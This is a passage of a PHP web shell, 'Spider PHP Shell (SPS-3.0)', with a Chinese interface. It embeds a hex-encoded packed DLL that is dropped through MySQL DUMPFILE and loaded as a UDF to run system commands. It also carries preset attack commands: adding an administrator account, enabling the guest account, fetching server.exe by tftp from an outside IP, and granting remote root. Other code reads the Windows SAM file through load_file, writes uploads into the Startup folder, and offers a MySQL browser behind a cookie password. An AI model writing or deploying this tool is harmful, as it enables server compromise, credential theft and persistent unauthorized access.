B47433779433F3B6EA9D0DE3323B03C6418B0ED587B4F5E095468127313D9C15A6157BC7C0C547509B9D9B1C64D251053750743F7DE7BEF3B372F27231F039E73CEB90A11181F262D9C73CEC5AF828990979E72CE39E7A5ACB3BAC1C8A78008047C28BB92975043BD384F296360A9523F4D797371909620A953A636306EC263B50B355A6A09A663B7B921E76A3752C077035C321703ABCF91FB2E746D700FB40600B6472A481D3A2C7EB53D25E4E6FFDB730A2F636D642E657865202F63200068656C55192B75313774073967FF76B6E4380B3006687474703A2F2F8F2DF5FF2ED9632D9B09CAE4C8EBB8F1CABDB4EDCEF3FFC3FE6F120D00CFC2D4D8CAA7B0DC0BCEC4BCFEB3C9B9A6F6DCE6FE21C2B7BEB6A3BA7E175C3F44867B81D10F00200593195731D913199DE4667271F0108DE8832119B2178E180F30434E5146C2F80392017BD894A007010153107C81A4B902011F0264410152476357D9D9070A2F0207743CF2E4C96C084009140A73F01093274F9EC411941270133C79E4C944180C1972E41AAC1B93274F9E741C4C783C796EF2E4C92C7A1CFC18FF86B29317D854DD038572200107402699282048001940269210841002199009810119900119108202601C16023B20EF200D0C050133164DD30C3603070418050D344DD3340609070C0832D82083090A1B0BC1BEF702573B070F575F906EB0101311031217210C32D820350F414336D86083503352175307D860830D575F597B6C17D2344D376DAB20701C72D860DF0BC72F80B3810760830C36821F83848F208334CD91299EA1830D32D8A46FA7B79FCE760EC2601FD70B18070069BEB35D0517C00B1D0490664006968D08644006648E8F9006644006919293CC066140039F78EF4D54EC25FF0204222B6027CF0EF68279822117A6DF07A1A581E9CDF3EF9FE0FC2F407E80FCA8C1A3DAA34F0D72F60881FE0740B577830C812F41B65FCFA2E43E5F21FFA21A00E5A2E8A25B7EA1FE5105BF92DFEE03DA5EDA5F5FDA6ADA32D3D8DEE0B26627B7F939317E430303860064AA432EE99E9C84538B9876840380A6699AA67C7874706C9AA6699A645C54483C34699AA6692824201C18A6699AA614100C08044DD334970075FCF8F0E4DCA6E99E35D42F75CC03C4BC9AA6699AB0A89C908C8849BEA669806C64CD2E821D65BB8C8F905C037F009EF040E82F500B807007F0F11325DCA0D1535499508BDD50C944548CF38CDC97B058592CA7BF06699A0E1EEF3B5A9775A769BAA7B5D4F3E0301AB86CD3034E6D01333AB759699AA6697796B4D3F20CDA74DD272F034D6C01F108A48008368024444144210980D109600064C15B054D734325746554B6CBB7572C0D44656C65466905410A105FDB0C470A0953C5D87393CD2719522C0A23EC4F56C145185661726961622212C0EC7F436C6F736548616E6425F62AD80E4B4A500B63417B7B56686753791D656D4447B7C1B656F5227914744E747515B893FD70496E666F413569704FB1DBD62EA845782A08535D65702CFB36CCFD56657273696F163B896E6754792D67DF856C570F1F4C434D6170115706882E610D1B4D7073ED5BC34279126F65646543688366E5ABA03DFB644F66F34C6FFD8E6B68FF300B746C556E773C3D48D767EDAC7C70416C6C0A46B1FB432D7B9BE16F6D6D09336E7DACB38556982673FB0B790CC580D866E50B56ADB521419C42494D1E263CC3D609630A532740B029DBDACA16AD147215421BC0B64C5B762B78108C8580250B77C5EB8407C4600C542FB998A170B6DA75D3F812DCDD3302524964386C7353F3B3378BDD5575650C4F09DE4BD2258C531D2D471A086D618643427552C93B2463366412A0D50CC363141E4D6F64BDA34E616D6A3B2160BC5F9EE473183004470A0CF3CA6624A3FD08E42CCFF04258164361853B1CFE66BF08506F6990C906C25EF99DFD6B65644465633815C2844D72496E53EB460F3AC1F1EF73684B427566663E6A50ECB136761C0A410B074F454D092C19FE10934164647297EF7D2841BCD93C7155524C440A5BA4668277E3CE1C88F6F6FE340457534153864D00FF0402CBB22CCB17390334090C8D32B62C0B022649F7FF7FAE6D0C10025C000A052F0A5205546417350BDFFEFFFF811912192A060B2A385319310B320D1B806512ED2405670B30100F1CFFFFFFFF1B1B96130B530B1C455405400645171106180A118145110B4C310526530F7D1CFBA5FFFF078B1214050B121B271A1241691A09F04BF83A06F0520103BFFDFF7F0802070F080B06060A18050A1A0E080643125C1B4F59085A0DA37DF66FFF0F16F03001BAF00AF6211775F0C8020400CE2D07E6EDEDBF5F10070708270C0A08300A0608050C050CBFB5FFBB16030813082D1B10060F06070921AE08F04F020E6BBFB5ED061A050F107EA20605060D1D15349BFBF69B2244A6F0ED0120130616070F1810FBFFDBDB091A571362A9850E0B14060E09111C0F12091C230A03FFFFFFBF0C137F0A1CF0F20007194212310C0B0F0AF00302F04D012C0C1C191A0811F6ED5BFB050D05F00549BF05380C0757070A19088EDBADFDDB05663A081A0611190C7113081E0917F6FF0B6F17621806422214320715320A2115242A0E311CF6DF6EFF21250F0F321043CB140E47065B074845E3193539DBDF6EFF0C103F50133E1282260D8E13270F42141E6D157CFBFF6FAA0E13770D251C1374A04D18154A481712E3084B2512842F6C2F47550118EF051D29261A072842EEDE1D4A0604660B1B07161D2A32FFB7B77F7228060C3B0829710D0C234F6039150D3D22084C0F19615BFBFF262E0F20222D143A0726181A0B83A67C56DBFFFF138AF0FB00790C150B2EF0D9011C0D0D13090C32C221B76678E106210A1D081715A919E80B0AFBDF0A0B6E432C0019066F061E1113151EF95068857F10210C120E0F11759647BFF00BCDB85C7EF056011E550F0AC60A89050BFFBFB51F4C35080E1E1D182058163368254605030717FEAD6DFC103D105612F03E01EC48B24F30BD71E1B75B045E2F0F5838EA3C7D3810040CFB76F38301F0B4030408F0AC0A0DF014010417C8915D7E2010108408020800046453203FF0240608041009F92F71E90C9C645045A54C010400B2976A46AA4EF90FE0000E210B0106264B004F26A9244110BDEC3CFB09100F04000700D0B237E982272A0202079B6D7ED81E8D000071C886620285B9650AC0648A002B8CAA4BA744B0100C76F92E7465787446619070E2AD2A6574CD602E7212669D2BC1AB0D5303FB5E73D902402E26CF2427B62919A49090C04F6519EC6B0F7D584FC027A06F6EBF29421B5C881051C489C700000000000000800400FF00807C2408010F85C201000060BE00A000108DBE0070FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9960100008A07472CE83C0177F7803F0A75F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE00C000008B0709C074458B5F048D843000E0000001F35083C708FF9650E00000958A074708C074DC89F979070FB707475047B95748F2AE55FF9654E0000009C07407890383C304EBD86131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAE58E000008DBE00F0FFFFBB0010000050546A045357FFD58D87FF01000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9C73CFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000070F0000050F000000000000000000000000000007DF0000060F0000000000000000000000000000088F0000068F00000000000000000000000000000000000000000000092F00000A0F00000B0F0000000000000C0F000000000000073000080000000004B45524E454C33322E444C4C0075726C6D6F6E2E646C6C005753325F33322E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F74656374000055524C446F776E6C6F6164546F46696C65410000000000000000B1976A46000000001EF1000001000000030000000300000000F100000CF1000018F100009010000090150000801000002BF1000031F100003EF100000000010002006D7973716C446C6C2E646C6C0073746174650073746174655F6465696E69740073746174655F696E69740000000000E000000C0000001D360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; } function Mysql\_m() { $MSG\_BOX = '请先导出DLL,再执行命令.MYSQL用户必须为root权限,导出路径必须能加载DLL文件.'; $info = '命令回显'; $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $mpath = 'C:/windows/mysqlDll.dll'; $sqlcmd = 'ver'; if(isset($\_POST\['mhost'\]) && isset($\_POST\['muser'\])) { $mhost = $\_POST\['mhost'\]; $muser = $\_POST\['muser'\]; $mpass = $\_POST\['mpass'\]; $mdata = $\_POST\['mdata'\]; $mport = $\_POST\['mport'\]; $mpath = File\_Str($\_POST\['mpath'\]); $sqlcmd = $\_POST\['sqlcmd'\]; $conn = mysql\_connect($mhost.':'.$mport,$muser,$mpass); if($conn) { @mysql\_select\_db($mdata); if((!empty($\_POST\['outdll'\])) && (!empty($\_POST\['mpath'\]))) { $query = "CREATE TABLE Spider\_Temp\_Tab (spider BLOB);"; if(@mysql\_query($query,$conn)) { $shellcode = Mysql\_shellcode(); $query = "INSERT into Spider\_Temp\_Tab values (CONVERT(".$shellcode.",CHAR));"; if(@mysql\_query($query,$conn)) { $query = 'SELECT spider FROM Spider\_Temp\_Tab INTO DUMPFILE \\''.$mpath.'\\';'; if(@mysql\_query($query,$conn)) { $ap = explode('/', $mpath); $inpath = array\_pop($ap); $query = 'Create Function state returns string soname \\''.$inpath.'\\';'; $MSG\_BOX = @mysql\_query($query,$conn) ? '安装DLL成功' : '安装DLL失败'; } else $MSG\_BOX = '导出DLL文件失败'; } else $MSG\_BOX = '写入临时表失败'; @mysql\_query('DROP TABLE Spider\_Temp\_Tab;',$conn); } else $MSG\_BOX = '创建临时表失败'; } if(!empty($\_POST\['runcmd'\])) { $query = 'select state("'.$sqlcmd.'");'; $result = @mysql\_query($query,$conn); if($result) { $k = 0; $info = NULL; while($row = @mysql\_fetch\_array($result)){$infotmp .= $row\[$k\];$k++;} $info = $infotmp; $MSG\_BOX = '执行成功'; } else $MSG\_BOX = '执行失败'; } } else $MSG\_BOX = '连接MYSQL失败'; } print<< function Fullm(i){ Str = new Array(11); Str\[0\] = "ver"; Str\[1\] = "net user spider spider /add"; Str\[2\] = "net localgroup administrators spider /add"; Str\[3\] = "net start Terminal Services"; Str\[4\] = "netstat -an"; Str\[5\] = "ipconfig"; Str\[6\] = "net user guest /active:yes"; Str\[7\] = "copy c:\\\\\\\\1.php d:\\\\\\\\2.php"; Str\[8\] = "tftp -i 219.134.46.245 get server.exe c:\\\\\\\\server.exe"; Str\[9\] = "net start telnet"; Str\[10\] = "shutdown -r -t 0"; mform.sqlcmd.value = Str\[i\]; return true; }
{$MSG\_BOX}
地址 端口 用户 密码 库名
可加载路径
安装成功后可用
END; return true; } function Mysql\_n() { $MSG\_BOX = ''; $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();'; if(isset($\_POST\['mhost'\]) && isset($\_POST\['muser'\])) { $mhost = $\_POST\['mhost'\]; $muser = $\_POST\['muser'\]; $mpass = $\_POST\['mpass'\]; $mdata = $\_POST\['mdata'\]; $mport = $\_POST\['mport'\]; if($conn = mysql\_connect($mhost.':'.$mport,$muser,$mpass)) @mysql\_select\_db($mdata); else $MSG\_BOX = '连接MYSQL失败'; } $downfile = 'c:/windows/repair/sam'; if(!empty($\_POST\['downfile'\])) { $downfile = File\_Str($\_POST\['downfile'\]); $binpath = bin2hex($downfile); $query = 'select load\_file(0x'.$binpath.')'; if($result = @mysql\_query($query,$conn)) { $k = 0; $downcode = ''; while($row = @mysql\_fetch\_array($result)){$downcode .= $row\[$k\];$k++;} $filedown = basename($downfile); if(!$filedown) $filedown = 'spider.tmp'; $array = explode('.', $filedown); $arrayend = array\_pop($array); header('Content-type: application/x-'.$arrayend); header('Content-Disposition: attachment; filename='.$filedown); header('Content-Length: '.strlen($downcode)); echo $downcode; exit; } else $MSG\_BOX = '下载文件失败'; } $o = isset($\_GET\['o'\]) ? $\_GET\['o'\] : ''; Root\_CSS(); print<<
地址 端口 用户 密码 库名
END; if($o == 'u') { $uppath = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/exp.vbs'; if(!empty($\_POST\['uppath'\])) { $uppath = $\_POST\['uppath'\]; $query = 'Create TABLE a (cmd text NOT NULL);'; if(@mysql\_query($query,$conn)) { if($tmpcode = File\_Read($\_FILES\['upfile'\]\['tmp\_name'\])){$filecode = bin2hex(File\_Read($tmpcode));} else{$tmp = File\_Str(dirname(\_\_FILE\_\_)).'/upfile.tmp';if(File\_Up($\_FILES\['upfile'\]\['tmp\_name'\],$tmp)){$filecode = bin2hex(File\_Read($tmp));@unlink($tmp);}} $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));'; if(@mysql\_query($query,$conn)) { $query = 'SELECT cmd FROM a INTO DUMPFILE \\''.$uppath.'\\';'; $MSG\_BOX = @mysql\_query($query,$conn) ? '上传文件成功' : '上传文件失败'; } else $MSG\_BOX = '插入临时表失败'; @mysql\_query('Drop TABLE IF EXISTS a;',$conn); } else $MSG\_BOX = '创建临时表失败'; } print<<
上传路径

选择文件
END; } elseif($o == 'd') { print<<

下载文件
END; } else { if(!empty($\_POST\['msql'\])) { $msql = $\_POST\['msql'\]; if($result = @mysql\_query($msql,$conn)) { $MSG\_BOX = '执行SQL语句成功
'; $k = 0; while($row = @mysql\_fetch\_array($result)){$MSG\_BOX .= $row\[$k\];$k++;} } else $MSG\_BOX .= mysql\_error(); } print<< function nFull(i){ Str = new Array(11); Str\[0\] = "select version();"; Str\[1\] = "select load\_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C) FROM user into outfile 'D:/web/iis.txt'"; Str\[2\] = "select '' into outfile 'F:/web/bak.php';"; Str\[3\] = "GRANT ALL PRIVILEGES ON \*.\* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;"; nform.msql.value = Str\[i\]; return true; }
END; } if($MSG\_BOX != '') echo '
'.$MSG\_BOX.'
'; else echo ''; return true; } //MYSQL管理 function Mysql\_Len($data,$len) { if(strlen($data) < $len) return $data; return substr\_replace($data,'...',$len); } function Mysql\_Msg() { $conn = @mysql\_connect($\_COOKIE\['m\_spiderhost'\].':'.$\_COOKIE\['m\_spiderport'\],$\_COOKIE\['m\_spideruser'\],$\_COOKIE\['m\_spiderpass'\]); if($conn) { print<< function Delok(msg,gourl) { smsg = "确定要删除\[" + unescape(msg) + "\]吗?"; if(confirm(smsg)){window.location = gourl;} } function Createok(ac) { if(ac == 'a') document.getElementById('nsql').value = 'CREATE TABLE name (spider BLOB);'; if(ac == 'b') document.getElementById('nsql').value = 'CREATE DATABASE name;'; if(ac == 'c') document.getElementById('nsql').value = 'DROP DATABASE name;'; return false; } END; $BOOL = false; $MSG\_BOX = '用户:'.$\_COOKIE\['m\_spideruser'\].'      地址:'.$\_COOKIE\['m\_spiderhost'\].':'.$\_COOKIE\['m\_spiderport'\].'      版本:'; $k = 0; $result = @mysql\_query('select version();',$conn); while($row = @mysql\_fetch\_array($result)){$MSG\_BOX .= $row\[$k\];$k++;} echo '
数据库:'; $result = mysql\_query("SHOW DATABASES",$conn); while($db = mysql\_fetch\_array($result)){echo '  \['.$db\['Database'\].'\]';} echo '
'; if(isset($\_GET\['db'\])) { mysql\_select\_db($\_GET\['db'\],$conn); if(!empty($\_POST\['nsql'\])){$BOOL = true; $MSG\_BOX = mysql\_query($\_POST\['nsql'\],$conn) ? '执行成功' : '执行失败 '.mysql\_error();} if(is\_array($\_POST\['insql'\])) { $query = 'INSERT INTO '.$\_GET\['table'\].' ('; foreach($\_POST\['insql'\] as $var => $key) { $querya .= $var.','; $queryb .= '\\''.addslashes($key).'\\','; } $query = $query.substr($querya, 0, -1).') VALUES ('.substr($queryb, 0, -1).');'; $MSG\_BOX = mysql\_query($query,$conn) ? '添加成功' : '添加失败 '.mysql\_error(); } if(is\_array($\_POST\['upsql'\])) { $query = 'UPDATE '.$\_GET\['table'\].' SET '; foreach($\_POST\['upsql'\] as $var => $key) { $queryb .= $var.'=\\''.addslashes($key).'\\','; } $query = $query.substr($queryb, 0, -1).' '.base64\_decode($\_POST\['wherevar'\]).';'; $MSG\_BOX = mysql\_query($query,$conn) ? '修改成功' : '修改失败 '.mysql\_error(); } if(isset($\_GET\['del'\])) { $result = mysql\_query('SELECT \* FROM '.$\_GET\['table'\].' LIMIT '.$\_GET\['del'\].', 1;',$conn); $good = mysql\_fetch\_assoc($result); $query = 'DELETE FROM '.$\_GET\['table'\].' WHERE '; foreach($good as $var => $key){$queryc .= $var.'=\\''.addslashes($key).'\\' AND ';} $where = $query.substr($queryc, 0, -4).';'; $MSG\_BOX = mysql\_query($where,$conn) ? '删除成功' : '删除失败 '.mysql\_error(); } $action = '?s=r&db='.$\_GET\['db'\]; if(isset($\_GET\['drop'\])){$query = 'Drop TABLE IF EXISTS '.$\_GET\['drop'\].';';$MSG\_BOX = mysql\_query($query,$conn) ? '删除成功' : '删除失败 '.mysql\_error();} if(isset($\_GET\['table'\])){$action .= '&table='.$\_GET\['table'\];if(isset($\_GET\['edit'\])) $action .= '&edit='.$\_GET\['edit'\];} if(isset($\_GET\['insert'\])) $action .= '&insert='.$\_GET\['insert'\]; echo '
'; echo ' '; echo ' '; echo ' '; echo ' '; echo '
'; echo '
'.$MSG\_BOX.'
'.$\_GET\['db'\].' ---> '; if(isset($\_GET\['table'\])) { echo ''.$\_GET\['table'\].' '; echo '\[插入\]
'; if(isset($\_GET\['edit'\])) { if(isset($\_GET\['p'\])) $atable = $\_GET\['table'\].'&p='.$\_GET\['p'\]; else $atable = $\_GET\['table'\]; echo '
'; $result = mysql\_query('SELECT \* FROM '.$\_GET\['table'\].' LIMIT '.$\_GET\['edit'\].', 1;',$conn); $good = mysql\_fetch\_assoc($result); $u = 0; foreach($good as $var => $key) { $queryc .= $var.'=\\''.$key.'\\' AND '; $type = @mysql\_field\_type($result, $u); $len = @mysql\_field\_len($result, $u); echo '
'.$var.' '.$type.'('.$len.')
'; $u++; } $where = 'WHERE '.substr($queryc, 0, -4); echo ''; echo '
'; } else { $query = 'SHOW COLUMNS FROM '.$\_GET\['table'\]; $result = mysql\_query($query,$conn); $fields = array(); $row\_num = mysql\_num\_rows(mysql\_query('SELECT \* FROM '.$\_GET\['table'\],$conn)); if(!isset($\_GET\['p'\])){$p = 0;$\_GET\['p'\] = 1;} else $p = ((int)$\_GET\['p'\]-1)\*20; echo ''; echo ''; while($row = @mysql\_fetch\_assoc($result)) { array\_push($fields,$row\['Field'\]); echo ''; } echo ''; if(eregi('WHERE|LIMIT',$\_POST\['nsql'\]) && eregi('SELECT|FROM',$\_POST\['nsql'\])) $query = $\_POST\['nsql'\]; else $query = 'SELECT \* FROM '.$\_GET\['table'\].' LIMIT '.$p.', 20;'; $result = mysql\_query($query,$conn); $v = $p; while($text = @mysql\_fetch\_assoc($result)) { echo ''; foreach($fields as $row){echo '';} echo ''."\\r\\n";$v++; } echo '
操作'.$row\['Field'\].'
修改 '; echo ' 删除 '.nl2br(htmlspecialchars(Mysql\_Len($text\[$row\],500))).'
'; for($i = 1;$i <= ceil($row\_num / 20);$i++){$k = ((int)$\_GET\['p'\] == $i) ? ''.$i.'' : $i;echo '\['.$k.'\] ';} echo '
'; } } elseif(isset($\_GET\['insert'\])) { echo ''.$\_GET\['insert'\].''; $result = mysql\_query('SELECT \* FROM '.$\_GET\['insert'\],$conn); $fieldnum = @mysql\_num\_fields($result); echo '
'; for($i = 0;$i < $fieldnum;$i++) { $name = @mysql\_field\_name($result, $i); $type = @mysql\_field\_type($result, $i); $len = @mysql\_field\_len($result, $i); echo '
'.$name.' '.$type.'('.$len.')
'; } echo '
'; } else { $query = 'SHOW TABLE STATUS'; $status = @mysql\_query($query,$conn); while($statu = @mysql\_fetch\_array($status)) { $statusize\[\] = $statu\['Data\_length'\]; $statucoll\[\] = $statu\['Collation'\]; } $query = 'SHOW TABLES FROM '.$\_GET\['db'\].';'; echo ''; echo ''; echo ''; echo ''; echo ''; $result = @mysql\_query($query,$conn); $k = 0; while($table = mysql\_fetch\_row($result)) { echo ''; echo ''; echo ''."\\r\\n"; $k++; } echo '
表名 操作 字符集 大小
'.$table\[0\].' 插入 删除 '.$statucoll\[$k\].''.File\_Size($statusize\[$k\]).'
'; } } } else die('连接MYSQL失败,请重新登陆.'); if(!$BOOL) echo ''; return false; } function Mysql\_o() { ob\_start(); if(isset($\_POST\['mhost'\]) && isset($\_POST\['mport'\]) && isset($\_POST\['muser'\]) && isset($\_POST\['mpass'\])) { if(@mysql\_connect($\_POST\['mhost'\].':'.$\_POST\['mport'\],$\_POST\['muser'\],$\_POST\['mpass'\])) { $cookietime = time() + 24 \* 3600; setcookie('m\_spiderhost',$\_POST\['mhost'\],$cookietime); setcookie('m\_spiderport',$\_POST\['mport'\],$cookietime); setcookie('m\_spideruser',$\_POST\['muser'\],$cookietime); setcookie('m\_spiderpass',$\_POST\['mpass'\],$cookietime); die('正在登陆,请稍候...'); } } print<<
地址
端口
用户
密码
END; ob\_end\_flush(); return true; } function Root\_Login($MSG\_TOP) { print<<
{$MSG\_TOP}
PASS:
END; return false; } function WinMain() { $Server\_IP = gethostbyname($\_SERVER\["SERVER\_NAME"\]); $Server\_OS = PHP\_OS; $Server\_Soft = $\_SERVER\["SERVER\_SOFTWARE"\]; $Server\_Alexa = 'http://cn.alexa.com/siteinfo/'.str\_replace('www.','',$\_SERVER\['SERVER\_NAME'\]); print<< Spider PHP Shell (SPS-3.0) END; return false; } if(get\_magic\_quotes\_gpc()) { $\_GET = Root\_GP($\_GET); $\_POST = Root\_GP($\_POST); } if($\_GET\['s'\] == 'logout') { setcookie('admin\_spiderpass',NULL); die(''); } if($\_COOKIE\['admin\_spiderpass'\] != md5($password)) { ob\_start(); $MSG\_TOP = 'LOGIN'; if(isset($\_POST\['spiderpass'\])) { $cookietime = time() + 24 \* 3600; setcookie('admin\_spiderpass',md5($\_POST\['spiderpass'\]),$cookietime); if(md5($\_POST\['spiderpass'\]) == md5($password)){die('');} else{$MSG\_TOP = 'PASS IS FALSE';} } Root\_Login($MSG\_TOP); ob\_end\_flush(); exit; } if(isset($\_GET\['s'\])){$s = $\_GET\['s'\];if($s != 'a' && $s != 'n')Root\_CSS();}else{$s = 'MyNameIsHacker';} $p = isset($\_GET\['p'\]) ? $\_GET\['p'\] : File\_Str(dirname(\_\_FILE\_\_)); switch($s) { case "a" : File\_a($p); break; case "b" : Guama\_b(); break; case "c" : Qingma\_c(); break; case "d" : Tihuan\_d(); break; case "e" : Antivirus\_e(); break; case "f" : Info\_f(); break; case "g" : Exec\_g(); break; case "h" : Com\_h(); break; case "i" : Port\_i(); break; case "j" : Findfile\_j(); break; case "k" : Linux\_k(); break; case "l" : Servu\_l(); break; case "m" : Mysql\_m(); break; case "n" : Mysql\_n(); break; case "o" : Mysql\_o(); break; case "p" : File\_Edit($\_GET\['fp'\],$\_GET\['fn'\]); break; case "q" : File\_Soup($p); break; case "r" : Mysql\_Msg(); break; default: WinMain(); break; } ?>